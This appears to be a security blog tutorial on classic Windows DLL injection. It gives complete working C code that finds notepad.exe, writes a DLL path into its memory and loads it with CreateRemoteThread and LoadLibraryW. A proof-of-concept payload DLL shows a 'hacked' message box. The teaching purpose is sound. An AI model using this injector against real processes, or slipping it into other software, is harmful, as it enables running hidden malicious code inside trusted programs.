DLL Injection exposes itself as a critical technique in the intricacies of cybersecurity, which influences defensive and offensive cyber strategies. This approach is a part of the much broader topic of process injection. The concept is so important for anyone aspiring to comprehend the core mechanisms through leading software manipulation and exploitation. This article provides information on the DLL Injection concept with a practical example.
We are going to discuss:
- How it operates
- The way of implementation
- The impact it brings in cyber security.
Process Injection: A Key Aspect in Cybersecurity
Process injection, the larger category of DLL Injection, is a strategy that allows the code’s execution in a different process’s address space. In most cases, the technique is by software for various legitimate features and purposes. It applies as part of a toolkit of tactics during increasing exploitation that someone can use maliciously to execute malware operations.
What we are going to see is quite similar to what we have seen in our previous article. The difference here is that LoadLibrary can be accessed from the target process, so we need to allocate only the memory for the parameter (Dll name), which is an absolute path of our payload.
Understanding process injection for IT and cybersecurity staff is significant as it describes how someone can manipulate software. At the same time, it reveals the loopholes which malicious actors may exploit to evade security defences.
In-Depth on DLLs: A Guide to Understanding Dynamic Link Libraries
DLLs are key in Windows, storing codes and data. They enable shared use and modular software design. A single DLL contains such components as classes, variables, functions, and other resources in general.
Windows loads needed DLLs into process memory if not already present. It can load them through two major and most fundamental methods, static and then dynamic loading.
Static Loading: In static loading, the DLL is specified by the code and loaded to memory at the start. When a source code is compiled into an executable, its references are compiled with the DLLs for runtime linking.
Dynamic Loading: On the other hand, dynamic loading provides more control and flexibility. It allows loading or unloading DLLs under runtime conditions, as explained by programs with API features like LoadLibrary and FreeLibrary.
DLL Main Method: Execution on Load
A critical aspect of a DLL is its ‘main method’, known as DllMain. This function serves as the DLL’s entry point. The system calls it when loading or unloading the DLL due to static linking or API calls like LoadLibrary.
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
if (lpvReserved != nullptr)
{
break; // do not do cleanup if process termination scenario
}
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
Initialization tasks in DllMain can impact how the DLL functions within a host process.
Understanding The Events in a DLL
According to official documentation, DllMain can handle various events, and manage them through a switch case structure.
Here’s a clearer explanation of these events:
- DLL_PROCESS_ATTACH
- Occurs when the DLL loads into a process’s virtual address space due to process startup or a LoadLibrary call.
- Allows DLLs to initialize instance data or allocate a TLS (Thread Local Storage) index using TlsAlloc.
- The lpvReserved parameter indicates if the DLL is loaded statically or dynamically.
- DLL_PROCESS_DETACH
- This happens when the DLL unloads from a process’s virtual address space due to an unsuccessful load, or the reference count hits zero.
- It is triggered by process termination or FreeLibrary calls.
- Opportunity for DLLs to free any TLS indices allocated with TlsAlloc and release thread local data.
- The lpvReserved parameter shows if unloading is due to a FreeLibrary call, load failure, or process termination.
- The thread receiving DLL_PROCESS_DETACH may not be the one that received DLL_PROCESS_ATTACH.
- DLL_THREAD_ATTACH
- Occurs when the process creates a new thread.
- The system calls the entry-point function of all attached DLLs in the context of the new thread.
- DLLs can initialize a TLS slot for the thread.
- Threads created after the DLL is loaded by the process are the only ones that call the entry-point function with DLL_THREAD_ATTACH.
- Existing threads do not call the entry-point function of a newly loaded DLL with LoadLibrary.
- DLL_THREAD_DETACH
- Triggered when a thread exits cleanly.
- DLLs should free any allocated memory stored in a TLS slot.
- The system calls the entry-point function of all loaded DLLs in the context of the exiting thread.
Understanding these events is crucial for effective DLL management, ensuring the resources’ proper allocation and release, and avoiding common pitfalls like resource leaks or inconsistent states between threads and processes.
LoadLibrary vs. GetModuleHandle
In the context of DLL Injection, two major functions frequently come directly into play: LoadLibrary and GetModuleHandle. Both have a lot of core to how DLLs are dealt with in Windows, but they serve separate purposes.
LoadLibrary: This function loads the specified DLL into the calling process’s address space and returns a handle to the loaded DLL. It is in charge of dynamically loading a DLL at runtime. More details here.
GetModuleHandle: Unlike LoadLibrary, GetModuleHandle doesn’t load the DLL. It retrieves a module handle for the specified module if the module has already been loaded into the address space of the process calling this function. This is crucial especially when you need to interact with a DLL that has already loaded up. You can find more about it in its MSDN documentation.
Our payload will not be automatically loaded by the system, so in this case, our choice will be LoadLibrary.
Steps to Dynamically Load a DLL Using API Calls
To load a DLL dynamically, there are several steps the process entails, that is, by making use of requisite API calls:
- Identification of the DLL to Load: It must be determined either the path or name of the DLL file that has to be loaded dynamically.
- Load the DLL: Call LoadLibrary to load the DLL into the process’s address space, which returns a handle to the loaded DLL.
- Retrieve Function Addresses: If specific functions are needed within the DLL, GetProcAddress with the handle that was gotten from LoadLibrary to get the addresses of these functions.
- Execute DLL Functions: Having gotten the addresses of the functions, the application is now able to call on these functions as the necessity arises.
- Unload the DLL (Optional): If the DLL is no longer needed, it can be unloaded from the process’s memory by calling the FreeLibrary with the handle to free a few resources.
It is therefore critical for cyber professionals to understand these steps and the dynamics in DLL Injection, which will provide them with insight into both the defensive and the offensive side of cyber operations.
Process Enumeration
Process enumeration is the first action in DLL Injection, which identifies the target process where to inject the DLL. The summarized process below explains this step:
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
HANDLE ProcessEnumerateAndSearch(PWCHAR ProcessName) {
HANDLE hSnapshot;
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) }; // According to documentation the size must be set
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[X] CreateToolhelp32Snapshot has failed with error %d\n", GetLastError());
return NULL;
}
if (Process32First(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, ProcessName) == 0) {
printf("Process PID: %d has been opened\n", pe.th32ProcessID);
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return NULL;
}
This function takes a snapshot of all the processes using CreateToolhelp32Snapshot, then iterates over them with Process32First and Process32Next, finally opening the desired process and returning its handle.
DLL Injection
To put in place our example of DLL Injection we will focus on the already discussed event DLL_PROCESS_ATTACH.
The most crucial part of this demo is the DLL Injection concept. It consists of several required steps:
- Memory Allocation: Allocate memory in the target process for the DLL path.
- Writing Memory: Writing the DLL path into this allocated space.
- Remote Thread Creation: Create a remote thread to execute LoadLibrary, thus injecting the DLL.
Relevant code:
BOOL InjectDLL(PWCHAR dllName, SIZE_T szDllName, HANDLE hTargetProc)
{
HMODULE hK32Module;
FARPROC hLoadLibrary;
LPVOID pLibAddr;
SIZE_T szWrittenBytes;
HANDLE hThread;
// Locating the LoadLibrary DLL
hK32Module = GetModuleHandle(L"kernel32.dll");
hLoadLibrary = GetProcAddress(hK32Module, "LoadLibraryW");
if (hLoadLibrary == NULL)
{
printf("Error while loading LoadLibraryW: %d\n", GetLastError());
return FALSE;
}
// Allocating memory into the target process
pLibAddr = VirtualAllocEx(hTargetProc, NULL, szDllName, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pLibAddr == NULL)
{
printf("Error in VirtualAllocEX: %d\n", GetLastError());
return FALSE;
}
// Writing into the target process the dll payload name
if (!WriteProcessMemory(hTargetProc, pLibAddr, dllName, szDllName, &szWrittenBytes))
{
printf("Error in WriteProcessMemory: %d\n", GetLastError());
return FALSE;
}
// Run a thread into the target process that will load the payload through LoadLibraryW
hThread = CreateRemoteThread(hTargetProc, NULL, NULL, hLoadLibrary, pLibAddr, NULL, NULL);
if (hThread == NULL)
{
printf("Error in CreateRemoteThread: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
This code segment handles the functionality of injecting the DLL into the memory space of the target process.
Main Execution
The main function is the entry point that brokers the entire process enumeration and also the DLL injection:
int main()
{
HANDLE hTarget;
LPCWSTR strLibName = L"C:\\Path\\To\\DllPayload.dll";
hTarget = ProcessEnumerateAndSearch(L"notepad.exe");
if (!InjectDLL(strLibName, (wcslen(strLibName) + 1) * sizeof(WCHAR), hTarget))
return -1;
return 0;
}
This code will define the target process and inject the given DLL.
Creating a Simple DLL
For our DLL injection example, we start by making a basic payload DLL. Open a new project in Visual Studio and choose the DLL project:
Next, write your code and build it using CTRL+SHIFT+B.
Here’s the code, a straightforward Proof Of Concept. It will display a message box using MessageBoxA.
#include <Windows.h>
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "You Have Been Hacked!", "Hacked Window", MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
When you successfully inject this DLL, it shows a message box.
Testing the DLL Injection
Now, let’s test it. Run the code, ensuring you’ve entered the payload’s absolute address in the main method.
Here’s the complete code. It injects the DLL into a target process, like notepad.exe:
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <errors.h>
HANDLE ProcessEnumerateAndSearch(PWCHAR ProcessName)
{
HANDLE hSnapshot;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) };
;
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL)) == INVALID_HANDLE_VALUE)
{
printf("[X] CreateToolhelp32Snapshot has failed with error %d", GetLastError());
}
if (Process32First(hSnapshot, &pe) == FALSE)
{
printf("[X] Process32First has failed with error %d", GetLastError());
}
do {
if (wcscmp(pe.szExeFile, ProcessName) == 0)
{
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID)) == NULL)
{
printf("[X] OpenProcess has failed with error %d", GetLastError());
break;
}
else
{
printf("Process PID: %d has been opened", pe.th32ProcessID);
break;
}
}
} while (Process32Next(hSnapshot, &pe));
return hProcess;
}
BOOL InjectDLL(PWCHAR dllName, SIZE_T szDllName, HANDLE hTargetProc)
{
HMODULE hK32Module;
FARPROC hLoadLibrary;
LPVOID pLibAddr;
SIZE_T szWrittenBytes;
HANDLE hThread;
// Locating the LoadLibrary DLL
hK32Module = GetModuleHandle(L"kernel32.dll");
hLoadLibrary = GetProcAddress(hK32Module, "LoadLibraryW");
if (hLoadLibrary == NULL)
{
printf("Error while loading LoadLibraryW: %d\n", GetLastError());
return FALSE;
}
// Allocating memory into the target process
pLibAddr = VirtualAllocEx(hTargetProc, NULL, szDllName, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pLibAddr == NULL)
{
printf("Error in VirtualAllocEX: %d\n", GetLastError());
return FALSE;
}
// Writing into the target process the dll payload name
if (!WriteProcessMemory(hTargetProc, pLibAddr, dllName, szDllName, &szWrittenBytes))
{
printf("Error in WriteProcessMemory: %d\n", GetLastError());
return FALSE;
}
// Run a thread into the target process that will load the payload through LoadLibraryW
hThread = CreateRemoteThread(hTargetProc, NULL, NULL, hLoadLibrary, pLibAddr, NULL, NULL);
if (hThread == NULL)
{
printf("Error in CreateRemoteThread: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
int main()
{
HANDLE hTarget;
LPCWSTR strLibName = L"C:\\Path\\To\\DllPayload.dll";
hTarget = ProcessEnumerateAndSearch(L"notepad.exe");
if (!InjectDLL(strLibName, (wcslen(strLibName) + 1) * sizeof(WCHAR), hTarget))
return -1;
return 0;
}
Observing the Results
Open notepad.exe and set a breakpoint at the end of the injection function into Visual Code.
Then, start debugging your injector.
Next, attach x64dbg to the notepad.exe process and run the injector.
Notice the pLibAddr variable holding the library’s address. In x64dbg, press CTRL+G, input the variable’s value, right-click, and follow it in the dump.
There you’ll see the DLL’s address in the process. Continue debugging, confident it worked.
The Resulting Popup
And there you have it! The popup confirms our DLL injection worked as intended.
Conclusion
Understanding DLL Injection is essential for cybersecurity professionals, particularly those involved in malware analysis and ethical hacking. This article has meticulously dissected the DLL Injection process into comprehensible sections, covering process enumeration, the technicalities of DLL injection, and the practical application using a payload DLL example. Grasping these elements is critical in developing strategies to identify and counter sophisticated cyber threats.
To ensure you are consistently equipped with the latest insights and techniques in cybersecurity, we invite you to follow our blog. Stay connected with us through our social media profiles for regular updates, expert tips, and in-depth discussions. By joining our community, you can continue to refine your expertise, stay informed on emerging threats, and contribute to a safer digital world.
Let’s collaborate and advance our knowledge in this ever-evolving field together.